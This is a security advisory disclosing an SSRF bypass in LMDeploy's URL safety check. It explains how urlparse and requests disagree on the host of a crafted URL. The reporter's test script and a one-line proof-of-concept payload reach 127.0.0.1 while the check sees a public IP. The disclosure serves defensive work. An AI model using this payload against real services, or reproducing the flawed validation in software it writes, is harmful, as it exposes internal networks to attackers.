Vulnerability GHSA-39wr-7q6h-cf68
Summary
LMDeploy has an SSRF bypass
Details
Summary
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. QQ20260416-203956-16-1 However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. QQ20260416-204053-16-2 The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. QQ20260416-204234-16-3 However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
PoC
http://127.0.0.1:6666\@1.1.1.1
Impact
SSRF
References
Related Vulnerabilities
Other vulnerabilities affecting the same packages